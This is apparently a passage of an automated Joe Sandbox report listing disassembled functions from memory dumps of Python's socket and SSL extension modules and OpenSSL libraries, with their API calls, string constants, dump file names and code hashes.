IPV6_RECVRTHDR, xrefs: 00007FFE13222259
SOCK_STREAM, xrefs: 00007FFE132215F6
IP_DROP_SOURCE_MEMBERSHIP, xrefs: 00007FFE132220D3
RCVALL_ON, xrefs: 00007FFE13222740
SO_SNDLOWAT, xrefs: 00007FFE132217F4
SO_DEBUG, xrefs: 00007FFE1322168C
socket.gaierror, xrefs: 00007FFE13221168
BTPROTO_RFCOMM, xrefs: 00007FFE1322159A
TCP_FASTOPEN, xrefs: 00007FFE13222367
WSAStartup failed: error code %d, xrefs: 00007FFE132239CF
IP_DROP_MEMBERSHIP, xrefs: 00007FFE1322203D
IP_MULTICAST_IF, xrefs: 00007FFE13221FC5
EAI_FAMILY, xrefs: 00007FFE132223DF
IPV6_V6ONLY, xrefs: 00007FFE132221A5
IPPORT_USERRESERVED, xrefs: 00007FFE13221E24
EAI_NODATA, xrefs: 00007FFE1322241B
IP_UNBLOCK_SOURCE, xrefs: 00007FFE13222079
TCP_MAXSEG, xrefs: 00007FFE132222EF
SO_RCVTIMEO, xrefs: 00007FFE1322184E
HVSOCKET_CONNECTED_SUSPEND, xrefs: 00007FFE13221486
EAI_SERVICE, xrefs: 00007FFE13222457
SIO_RCVALL, xrefs: 00007FFE13222688
IPPROTO_IGMP, xrefs: 00007FFE13221AA0
SOL_IP, xrefs: 00007FFE132219F2
IPPROTO_IP, xrefs: 00007FFE13221A49
IPPROTO_ROUTING, xrefs: 00007FFE13221BCC
IPPROTO_AH, xrefs: 00007FFE13221C26
A42E7CDA-D03F-480C-9CC2-A4DE20ABB878, xrefs: 00007FFE13221557
IPV6_LEAVE_GROUP, xrefs: 00007FFE1322210F
HV_GUID_LOOPBACK, xrefs: 00007FFE13221542
EAI_BADFLAGS, xrefs: 00007FFE132223A3
IP_RECVTOS, xrefs: 00007FFE13221F89
BDADDR_LOCAL, xrefs: 00007FFE132215DB
IP_MULTICAST_TTL, xrefs: 00007FFE13221FE3
EAI_MEMORY, xrefs: 00007FFE132223FD
TCP_KEEPINTVL, xrefs: 00007FFE1322232B

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: Module_$Constant$String$Object$Err_$ConditionFromMask$DeallocException$Capsule_DictDict_ExitFormatInfoLongLong_MallocMem_MemoryMetaclassStartupTypeType_Unicode_UnsignedVerifyVersionmemset
String ID: 00000000-0000-0000-0000-000000000000$00:00:00:00:00:00$00:00:00:FF:FF:FF$90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD$A42E7CDA-D03F-480C-9CC2-A4DE20ABB878$AF_APPLETALK$AF_BLUETOOTH$AF_DECnet$AF_HYPERV$AF_INET$AF_INET6$AF_IPX$AF_IRDA$AF_LINK$AF_SNA$AF_UNSPEC$AI_ADDRCONFIG$AI_ALL$AI_CANONNAME$AI_NUMERICHOST$AI_NUMERICSERV$AI_PASSIVE$AI_V4MAPPED$BDADDR_ANY$BDADDR_LOCAL$BTPROTO_RFCOMM$CAPI$E0E16197-DD56-4A10-9195-5EE7A155A838$EAI_AGAIN$EAI_BADFLAGS$EAI_FAIL$EAI_FAMILY$EAI_MEMORY$EAI_NODATA$EAI_NONAME$EAI_SERVICE$EAI_SOCKTYPE$FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF$HVSOCKET_ADDRESS_FLAG_PASSTHRU$HVSOCKET_CONNECTED_SUSPEND$HVSOCKET_CONNECT_TIMEOUT$HVSOCKET_CONNECT_TIMEOUT_MAX$HV_GUID_BROADCAST$HV_GUID_CHILDREN$HV_GUID_LOOPBACK$HV_GUID_PARENT$HV_GUID_WILDCARD$HV_GUID_ZERO$HV_PROTOCOL_RAW$INADDR_ALLHOSTS_GROUP$INADDR_ANY$INADDR_BROADCAST$INADDR_LOOPBACK$INADDR_MAX_LOCAL_GROUP$INADDR_NONE$INADDR_UNSPEC_GROUP$IPPORT_RESERVED$IPPORT_USERRESERVED$IPPROTO_AH$IPPROTO_CBT$IPPROTO_DSTOPTS$IPPROTO_EGP$IPPROTO_ESP$IPPROTO_FRAGMENT$IPPROTO_GGP$IPPROTO_HOPOPTS$IPPROTO_ICLFXBM$IPPROTO_ICMP$IPPROTO_ICMPV6$IPPROTO_IDP$IPPROTO_IGMP$IPPROTO_IGP$IPPROTO_IP$IPPROTO_IPV4$IPPROTO_IPV6$IPPROTO_L2TP$IPPROTO_MAX$IPPROTO_ND$IPPROTO_NONE$IPPROTO_PGM$IPPROTO_PIM$IPPROTO_PUP$IPPROTO_RAW$IPPROTO_RDP$IPPROTO_ROUTING$IPPROTO_SCTP$IPPROTO_ST$IPPROTO_TCP$IPPROTO_UDP$IPV6_CHECKSUM$IPV6_DONTFRAG$IPV6_HOPLIMIT$IPV6_HOPOPTS$IPV6_JOIN_GROUP$IPV6_LEAVE_GROUP$IPV6_MULTICAST_HOPS$IPV6_MULTICAST_IF$IPV6_MULTICAST_LOOP$IPV6_PKTINFO$IPV6_RECVRTHDR$IPV6_RECVTCLASS$IPV6_RTHDR$IPV6_TCLASS$IPV6_UNICAST_HOPS$IPV6_V6ONLY$IP_ADD_MEMBERSHIP$IP_ADD_SOURCE_MEMBERSHIP$IP_BLOCK_SOURCE$IP_DROP_MEMBERSHIP$IP_DROP_SOURCE_MEMBERSHIP$IP_HDRINCL$IP_MULTICAST_IF$IP_MULTICAST_LOOP$IP_MULTICAST_TTL$IP_OPTIONS$IP_PKTINFO$IP_RECVDSTADDR$IP_RECVTOS$IP_TOS$IP_TTL$IP_UNBLOCK_SOURCE$MSG_BCAST$MSG_CTRUNC$MSG_DONTROUTE$MSG_ERRQUEUE$MSG_MCAST$MSG_OOB$MSG_PEEK$MSG_TRUNC$MSG_WAITALL$NI_DGRAM$NI_MAXHOST$NI_MAXSERV$NI_NAMEREQD$NI_NOFQDN$NI_NUMERICHOST$NI_NUMERICSERV$RCVALL_MAX$RCVALL_OFF$RCVALL_ON$RCVALL_SOCKETLEVELONLY$SHUT_RD$SHUT_RDWR$SHUT_WR$SIO_KEEPALIVE_VALS$SIO_LOOPBACK_FAST_PATH$SIO_RCVALL$SOCK_DGRAM$SOCK_RAW$SOCK_RDM$SOCK_SEQPACKET$SOCK_STREAM$SOL_IP$SOL_SOCKET$SOL_TCP$SOL_UDP$SOMAXCONN$SO_ACCEPTCONN$SO_BROADCAST$SO_DEBUG$SO_DONTROUTE$SO_ERROR$SO_EXCLUSIVEADDRUSE$SO_KEEPALIVE$SO_LINGER$SO_OOBINLINE$SO_RCVBUF$SO_RCVLOWAT$SO_RCVTIMEO$SO_REUSEADDR$SO_SNDBUF$SO_SNDLOWAT$SO_SNDTIMEO$SO_TYPE$SO_USELOOPBACK$SocketType$TCP_FASTOPEN$TCP_KEEPCNT$TCP_KEEPIDLE$TCP_KEEPINTVL$TCP_MAXSEG$TCP_NODELAY$WSAStartup failed: error code %d$WSAStartup failed: network not ready$WSAStartup failed: requested version not supported$_socket.CAPI$error$gaierror$has_ipv6$herror$socket.gaierror$socket.herror$timeout
API String ID: 1196102948-1188461360
Opcode ID: 0fb31f2eee656220925b4e47e62874025d6cd115870c459d51081d29a567eca9
Instruction ID: 2774a9e9033389377635264173f6cdf48464060c0bf3dc6289aac49259771e90
Opcode Fuzzy Hash: 0fb31f2eee656220925b4e47e62874025d6cd115870c459d51081d29a567eca9
Instruction Fuzzy Hash: 29D2B821F08F134DF670AF27BC146A426547FA6BE0F8450B9CD0AA6674EF6EE224C351

Function 00007FFE004A1618 Relevance: 65.1, APIs: 23, Strings: 14, Instructions: 314
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EVP_MD_get_size.LIBCRYPTO-3 ref: 00007FFE004B8A68
ERR_set_mark.LIBCRYPTO-3 ref: 00007FFE004B8A92
EVP_SIGNATURE_fetch.LIBCRYPTO-3 ref: 00007FFE004B8AA8
EVP_KEYEXCH_fetch.LIBCRYPTO-3 ref: 00007FFE004B8AD4
EVP_KEYEXCH_fetch.LIBCRYPTO-3 ref: 00007FFE004B8B03
EVP_KEYEXCH_free.LIBCRYPTO-3 ref: 00007FFE004B8B1C
EVP_SIGNATURE_fetch.LIBCRYPTO-3 ref: 00007FFE004B8B32
EVP_SIGNATURE_free.LIBCRYPTO-3 ref: 00007FFE004B8B48
ERR_pop_to_mark.LIBCRYPTO-3 ref: 00007FFE004B8B4D
EVP_PKEY_asn1_find_str.LIBCRYPTO-3 ref: 00007FFE004B8BA5
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3 ref: 00007FFE004B8BC5
EVP_PKEY_asn1_find_str.LIBCRYPTO-3 ref: 00007FFE004B8C15
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3 ref: 00007FFE004B8C35
EVP_PKEY_asn1_find_str.LIBCRYPTO-3 ref: 00007FFE004B8C88
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3 ref: 00007FFE004B8CA8
EVP_PKEY_asn1_find_str.LIBCRYPTO-3 ref: 00007FFE004B8CFB
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3 ref: 00007FFE004B8D1B
EVP_PKEY_asn1_find_str.LIBCRYPTO-3 ref: 00007FFE004B8D6E
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3 ref: 00007FFE004B8D8E
EVP_PKEY_asn1_find_str.LIBCRYPTO-3 ref: 00007FFE004B8DCD
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3 ref: 00007FFE004B8DED
EVP_PKEY_asn1_find_str.LIBCRYPTO-3 ref: 00007FFE004B8E2C
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3 ref: 00007FFE004B8E4C

Strings

ECDSA, xrefs: 00007FFE004B8B28
gost2012_256, xrefs: 00007FFE004B8DBE
, xrefs: 00007FFE004B8C58
, xrefs: 00007FFE004B8D3E
gost-mac, xrefs: 00007FFE004B8B63
ECDH, xrefs: 00007FFE004B8AF9
DSA, xrefs: 00007FFE004B8A9E
magma-mac, xrefs: 00007FFE004B8C79
, xrefs: 00007FFE004B8CCB
kuznyechik-mac, xrefs: 00007FFE004B8CEC
gost-mac-12, xrefs: 00007FFE004B8C06
, xrefs: 00007FFE004B8BE8
gost2001, xrefs: 00007FFE004B8D5F
gost2012_512, xrefs: 00007FFE004B8E1D

Memory Dump Source

Source File: 00000001.00000002.2089592592.00007FFE004A1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFE004A0000, based on PE: true

Associated: 00000001.00000002.2089574301.00007FFE004A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089592592.00007FFE00522000.00000020.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089664904.00007FFE00524000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089693081.00007FFE0054C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089714366.00007FFE00551000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089714366.00007FFE00557000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089714366.00007FFE0055F000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe004a0000_file.jbxd

Similarity

API ID: Y_asn1_find_strY_asn1_get0_info$E_fetchH_fetch$D_get_sizeE_freeH_freeR_pop_to_markR_set_mark
String ID: $ $ $ $DSA$ECDH$ECDSA$gost-mac$gost-mac-12$gost2001$gost2012_256$gost2012_512$kuznyechik-mac$magma-mac
API String ID: 4252356852-365409564
Opcode ID: 7caece2b3d371fe002a5019b5f5ffa2af5cf230c7cefdfd470046396768acd30
Instruction ID: ea3a3864aed55cb91f30ee27793274e08d29065a00fb8c90ba5af6f7582ce83a
Opcode Fuzzy Hash: 7caece2b3d371fe002a5019b5f5ffa2af5cf230c7cefdfd470046396768acd30
Instruction Fuzzy Hash: BDE1AD72A09B9286EB609F34D4806E93BA5FF55798F041139EB4E867ADDF38E090C704

Function 00007FFE004A1992 Relevance: 58.0, APIs: 31, Strings: 2, Instructions: 255
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE004BD32F
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE004BD347
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE004BD357
ERR_new.LIBCRYPTO-3 ref: 00007FFE004BD381
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE004BD399
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE004BD3AA
ERR_new.LIBCRYPTO-3 ref: 00007FFE004BD3AF
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE004BD3C7
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE004BD3D8
CRYPTO_zalloc.LIBCRYPTO-3 ref: 00007FFE004BD411
CRYPTO_THREAD_lock_new.LIBCRYPTO-3 ref: 00007FFE004BD428
ERR_new.LIBCRYPTO-3 ref: 00007FFE004BD439
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE004BD451
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE004BD462
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE004BD477
CRYPTO_strdup.LIBCRYPTO-3 ref: 00007FFE004BD499
OPENSSL_LH_new.LIBCRYPTO-3 ref: 00007FFE004BD510
X509_STORE_new.LIBCRYPTO-3 ref: 00007FFE004BD522
CTLOG_STORE_new_ex.LIBCRYPTO-3 ref: 00007FFE004BD53A
OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE004BD5CE
X509_VERIFY_PARAM_new.LIBCRYPTO-3 ref: 00007FFE004BD5DB
OPENSSL_sk_new_null.LIBCRYPTO-3 ref: 00007FFE004BD61E
OPENSSL_sk_new_null.LIBCRYPTO-3 ref: 00007FFE004BD633
CRYPTO_new_ex_data.LIBCRYPTO-3 ref: 00007FFE004BD657
CRYPTO_secure_zalloc.LIBCRYPTO-3 ref: 00007FFE004BD676
RAND_bytes_ex.LIBCRYPTO-3 ref: 00007FFE004BD6CB
RAND_priv_bytes_ex.LIBCRYPTO-3 ref: 00007FFE004BD6E5
RAND_priv_bytes_ex.LIBCRYPTO-3 ref: 00007FFE004BD703
RAND_priv_bytes_ex.LIBCRYPTO-3 ref: 00007FFE004BD728
ERR_new.LIBCRYPTO-3 ref: 00007FFE004BD786
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE004BD79E

Strings

SSL_CTX_new_ex, xrefs: 00007FFE004BD334, 00007FFE004BD386, 00007FFE004BD3B4, 00007FFE004BD43E, 00007FFE004BD78B
..\s\ssl\ssl_lib.c, xrefs: 00007FFE004BD340, 00007FFE004BD392, 00007FFE004BD3C0, 00007FFE004BD405, 00007FFE004BD44A, 00007FFE004BD46D, 00007FFE004BD48F, 00007FFE004BD66A, 00007FFE004BD797

Memory Dump Source

Source File: 00000001.00000002.2089592592.00007FFE004A1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFE004A0000, based on PE: true

Associated: 00000001.00000002.2089574301.00007FFE004A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089592592.00007FFE00522000.00000020.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089664904.00007FFE00524000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089693081.00007FFE0054C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089714366.00007FFE00551000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089714366.00007FFE00557000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089714366.00007FFE0055F000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe004a0000_file.jbxd

Similarity

API ID: R_newR_set_debug$R_set_error$D_priv_bytes_ex$L_sk_new_nullX509_$D_bytes_exD_lock_newE_newE_new_exH_newL_sk_numM_newO_freeO_new_ex_dataO_secure_zallocO_strdupO_zalloc
String ID: ..\s\ssl\ssl_lib.c$SSL_CTX_new_ex
API String ID: 864562269-27091654
Opcode ID: 0ef21fb0b24aa75d52d15136eef25518695f37dfed3ffb2822b27bc7d2223680
Instruction ID: c68b9ab7fe34098f8d37a076fcefb1c354a93c54702829e9c48128d00bbf082a
Opcode Fuzzy Hash: 0ef21fb0b24aa75d52d15136eef25518695f37dfed3ffb2822b27bc7d2223680
Instruction Fuzzy Hash: 31C17871A59B4291FB61AB61E8517F92292AF45B88F481035DF0D8ABEEEF3DE400C315

Function 00007FFE132262B4 Relevance: 1.5, APIs: 1, Instructions: 19networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FFE132262E3

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: a704ae423db7ff80c5d8b78b9383ad9a6b728f341f5aa79d46b21ad35153d223
Instruction ID: 957ae908e9542abc64dd78502f45ade54c613a905791283058ce5a794c5dba8c
Opcode Fuzzy Hash: a704ae423db7ff80c5d8b78b9383ad9a6b728f341f5aa79d46b21ad35153d223
Instruction Fuzzy Hash: 7DE04FF2A10A4582D7246B56E4402687360F759FB4F245721DA382B3E0DE38D4E1C740

Function 00007FFE11EC79CC Relevance: 79.0, APIs: 34, Strings: 11, Instructions: 218
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyType_GetModuleByDef.PYTHON312(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC79F5
PyErr_SetString.PYTHON312(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7A14
TLS_server_method.LIBSSL-3(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7A6D
TLS_client_method.LIBSSL-3(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7A78
PyErr_WarnEx.PYTHON312(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7A97
TLSv1_2_method.LIBSSL-3(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7AA6
PyErr_WarnEx.PYTHON312(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7AC2
TLSv1_1_method.LIBSSL-3(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7AD1
PyErr_WarnEx.PYTHON312(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7AED
TLSv1_method.LIBSSL-3(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7AFC
PyErr_WarnEx.PYTHON312(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7B18
TLS_method.LIBSSL-3(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7B27
PyErr_Format.PYTHON312(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7B49
PyEval_SaveThread.PYTHON312(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7B54
SSL_CTX_new.LIBSSL-3(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7B60
PyEval_RestoreThread.PYTHON312(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7B6C
PyModule_GetState.PYTHON312(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7B7A
SSL_CTX_free.LIBSSL-3(?,?,?,?,?,00007FFE11EC6F97), ref: 00007FFE11EC7BB1
PyModule_GetState.PYTHON312 ref: 00007FFE11EC7BE6
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC7C22
SSL_CTX_set_options.LIBSSL-3 ref: 00007FFE11EC7C49
SSL_CTX_set_cipher_list.LIBSSL-3 ref: 00007FFE11EC7C64
ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC7C6E
PyErr_SetString.PYTHON312 ref: 00007FFE11EC7C83
SSL_CTX_ctrl.LIBSSL-3 ref: 00007FFE11EC7CAC
PyErr_Format.PYTHON312 ref: 00007FFE11EC7CCA
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC7CDE
ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC7CE4
SSL_CTX_ctrl.LIBSSL-3 ref: 00007FFE11EC7CFE
SSL_CTX_set_session_id_context.LIBSSL-3 ref: 00007FFE11EC7D15
SSL_CTX_get0_param.LIBSSL-3 ref: 00007FFE11EC7D1F
X509_VERIFY_PARAM_set_flags.LIBCRYPTO-3 ref: 00007FFE11EC7D30
X509_VERIFY_PARAM_set_hostflags.LIBCRYPTO-3 ref: 00007FFE11EC7D3C
SSL_CTX_set_post_handshake_auth.LIBSSL-3 ref: 00007FFE11EC7D4C

Strings

ssl.PROTOCOL_TLSv1_1 is deprecated, xrefs: 00007FFE11EC7AB5
No cipher can be selected., xrefs: 00007FFE11EC7C78
Python, xrefs: 00007FFE11EC7D08
Failed to set minimum protocol 0x%x, xrefs: 00007FFE11EC7CBD
ssl.PROTOCOL_TLS is deprecated, xrefs: 00007FFE11EC7B0B
HIGH:!aNULL:!eNULL, xrefs: 00007FFE11EC7C5D
ssl.PROTOCOL_TLSv1 is deprecated, xrefs: 00007FFE11EC7AE0
ssl.PROTOCOL_TLSv1_2 is deprecated, xrefs: 00007FFE11EC7A8A
Cannot find internal module state, xrefs: 00007FFE11EC7A0A
invalid or unsupported protocol version %i, xrefs: 00007FFE11EC7B3C
@SECLEVEL=2:ECDH+AESGCM:ECDH+CHACHA20:ECDH+AES:DHE+AES:!aNULL:!eNULL:!aDSS:!SHA1:!AESCCM, xrefs: 00007FFE11EC7C4F

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Err_$Warn$DeallocEval_FormatModule_R_clear_errorStateStringThreadX509_X_ctrl$M_set_flagsM_set_hostflagsModuleRestoreS_client_methodS_methodS_server_methodSaveSv1_1_methodSv1_2_methodSv1_methodType_X_freeX_get0_paramX_newX_set_cipher_listX_set_optionsX_set_post_handshake_authX_set_session_id_context
String ID: @SECLEVEL=2:ECDH+AESGCM:ECDH+CHACHA20:ECDH+AES:DHE+AES:!aNULL:!eNULL:!aDSS:!SHA1:!AESCCM$Cannot find internal module state$Failed to set minimum protocol 0x%x$HIGH:!aNULL:!eNULL$No cipher can be selected.$Python$invalid or unsupported protocol version %i$ssl.PROTOCOL_TLS is deprecated$ssl.PROTOCOL_TLSv1 is deprecated$ssl.PROTOCOL_TLSv1_1 is deprecated$ssl.PROTOCOL_TLSv1_2 is deprecated
API String ID: 4028604904-3748777976
Opcode ID: 89fb8a6e6a00e87cc1b747ecfedc4414e2c19169d28b96e40d049f23e68e6d93
Instruction ID: 80e386d599cd2cb8840506a84990a5dd1966200768445713c6f81928dd55c52e
Opcode Fuzzy Hash: 89fb8a6e6a00e87cc1b747ecfedc4414e2c19169d28b96e40d049f23e68e6d93
Instruction Fuzzy Hash: 2CA12C72E48E0282EB589BA7ED5433E63A9FB84BA4F8445B1C91E43670DF7EF5458340

Function 00007FFE1322718C Relevance: 54.5, APIs: 24, Strings: 7, Instructions: 260
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_PyArg_ParseTupleAndKeywords_SizeT.PYTHON312 ref: 00007FFE13227228
PyUnicode_AsEncodedString.PYTHON312 ref: 00007FFE13227262
PyObject_Str.PYTHON312 ref: 00007FFE132272A5
PyUnicode_AsUTF8.PYTHON312 ref: 00007FFE132272CB
PySys_Audit.PYTHON312 ref: 00007FFE13227329
PyEval_SaveThread.PYTHON312 ref: 00007FFE1322735F
getaddrinfo.WS2_32 ref: 00007FFE13227376
PyEval_RestoreThread.PYTHON312 ref: 00007FFE13227382
PyList_New.PYTHON312 ref: 00007FFE132273A4
_Py_BuildValue_SizeT.PYTHON312 ref: 00007FFE1322740F
_Py_Dealloc.PYTHON312 ref: 00007FFE13227429
PyList_Append.PYTHON312 ref: 00007FFE1322743E
_Py_Dealloc.PYTHON312 ref: 00007FFE13227457
_Py_Dealloc.PYTHON312 ref: 00007FFE1322747D
_Py_Dealloc.PYTHON312 ref: 00007FFE13227496
freeaddrinfo.WS2_32 ref: 00007FFE132274A5
_Py_Dealloc.PYTHON312 ref: 00007FFE132274C0
_Py_Dealloc.PYTHON312 ref: 00007FFE132274D5
PyErr_SetString.PYTHON312 ref: 00007FFE132274EE
_Py_Dealloc.PYTHON312 ref: 00007FFE13227507
_Py_Dealloc.PYTHON312 ref: 00007FFE13227520
freeaddrinfo.WS2_32 ref: 00007FFE1322752F
PyErr_SetString.PYTHON312 ref: 00007FFE13227548

Strings

Int or String expected, xrefs: 00007FFE132274E4
idna, xrefs: 00007FFE1322725B
socket.getaddrinfo, xrefs: 00007FFE13227317
OOiii, xrefs: 00007FFE13227306
OO|iiii:getaddrinfo, xrefs: 00007FFE132271DC
iiisO, xrefs: 00007FFE13227404
getaddrinfo() argument 1 must be string or None, xrefs: 00007FFE1322753E

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: Dealloc$String$Err_Eval_List_SizeThreadUnicode_freeaddrinfo$AppendArg_AuditBuildEncodedKeywords_Object_ParseRestoreSaveSys_TupleValue_getaddrinfo
String ID: Int or String expected$OOiii$OO|iiii:getaddrinfo$getaddrinfo() argument 1 must be string or None$idna$iiisO$socket.getaddrinfo
API String ID: 3469260611-1074899869
Opcode ID: 2f423c6ffa71151a3adb167c7cdb8e101b5c9d8c3bce7bb13a85d95737d9847a
Instruction ID: 3e91ace8f47c33a80624b6d532f17bae3a728983ede3800ce318a0b26aa61554
Opcode Fuzzy Hash: 2f423c6ffa71151a3adb167c7cdb8e101b5c9d8c3bce7bb13a85d95737d9847a
Instruction Fuzzy Hash: 21C13A32B09E428EEB24EF66EC545B837A0BBA8BA4F4041B5DE4D62665DF3CE554C700

Function 00007FFE11EC8384 Relevance: 47.4, APIs: 22, Strings: 5, Instructions: 195
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE11EC83BD
PyErr_SetString.PYTHON312 ref: 00007FFE11EC8407
PyUnicode_FSConverter.PYTHON312 ref: 00007FFE11EC8419
PyErr_ExceptionMatches.PYTHON312 ref: 00007FFE11EC842D
PyUnicode_FSConverter.PYTHON312 ref: 00007FFE11EC8450
PyErr_ExceptionMatches.PYTHON312 ref: 00007FFE11EC8464
PyUnicode_AsASCIIString.PYTHON312 ref: 00007FFE11EC8493
PyErr_ExceptionMatches.PYTHON312 ref: 00007FFE11EC84AB
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC84E8
PyObject_CheckBuffer.PYTHON312 ref: 00007FFE11EC8512
PyObject_GetBuffer.PYTHON312 ref: 00007FFE11EC8526
PyBuffer_IsContiguous.PYTHON312 ref: 00007FFE11EC853A
PyBuffer_Release.PYTHON312 ref: 00007FFE11EC8565
PyBuffer_Release.PYTHON312 ref: 00007FFE11EC857A
PyEval_SaveThread.PYTHON312 ref: 00007FFE11EC85A1
